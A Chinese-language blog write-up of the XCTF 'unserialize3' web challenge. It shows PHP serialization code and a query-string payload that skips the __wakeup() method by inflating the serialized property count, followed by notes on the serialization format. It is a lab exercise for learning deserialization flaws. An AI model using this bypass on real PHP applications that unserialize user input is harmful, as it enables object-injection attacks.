2 3 4 5 6 7 8 9 10 11 12

unserialize3 xctf 攻防世界 web高手进阶区

题目描述

进入题目场景,看见

审计代码,知道代码定义了一个类,其中有一个魔法方法_wakeup(),_wakeup()会直接退出,并输出" bad requests " 末尾有" ?code= " 看样子是要构造url来绕过_wakeup()这个函数了。

首先_wakeup()方法会在使用函数unserialize()时自动调用。(反序列)

解题思路:获取定义的类序列化后的字符串,然后传入code。

序列化操作可以自己写php或者找序列化工具。(http://www.dooccn.com/php/)

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
	}
}
$a = new xctf();
$b = serialize($a);
echo $b;
?>
    
//结果:    O:4:"xctf":1:{s:4:"flag";s:3:"111";}

将结果放到?code=后,发现传入的code会被unserialize()反序列化。

解决反序列的方法:当序列化字符串当中属性个数值大于实际的属性个数时,就会导致反序列化异常,从而跳过__wakeup函数。

即构造payload:?code=O:4:"xctf":3:{s:4:"flag";s:3:"111";}

即可得到flag。

扩展:

serialize()完成序列化的操作,将传入的值转换为序列化后的字符串。

unserialize()完成反序列化的操作,将字符串转换成原来的变量。

拿本题O:4:"xctf":1:{s:4:"flag";s:3:"111";} 来解释序列化后的含义。

它表示序列化的是一个对象,对象所在类名是"xctf"、该对象有一个属性,属性名为一个长度为4的字符串"flag"、该属性值为一个长度为3的字符串"111"。

注意:
① 当属性为private属性时,它会在两侧加入空字节,导致其长度会增加2
② 序列化对象时只会序列化对象中的属性值,不会序列化其中的函数

posted @ 2022-01-19 16:53  MrDevil  阅读(58)  评论(0)    收藏  举报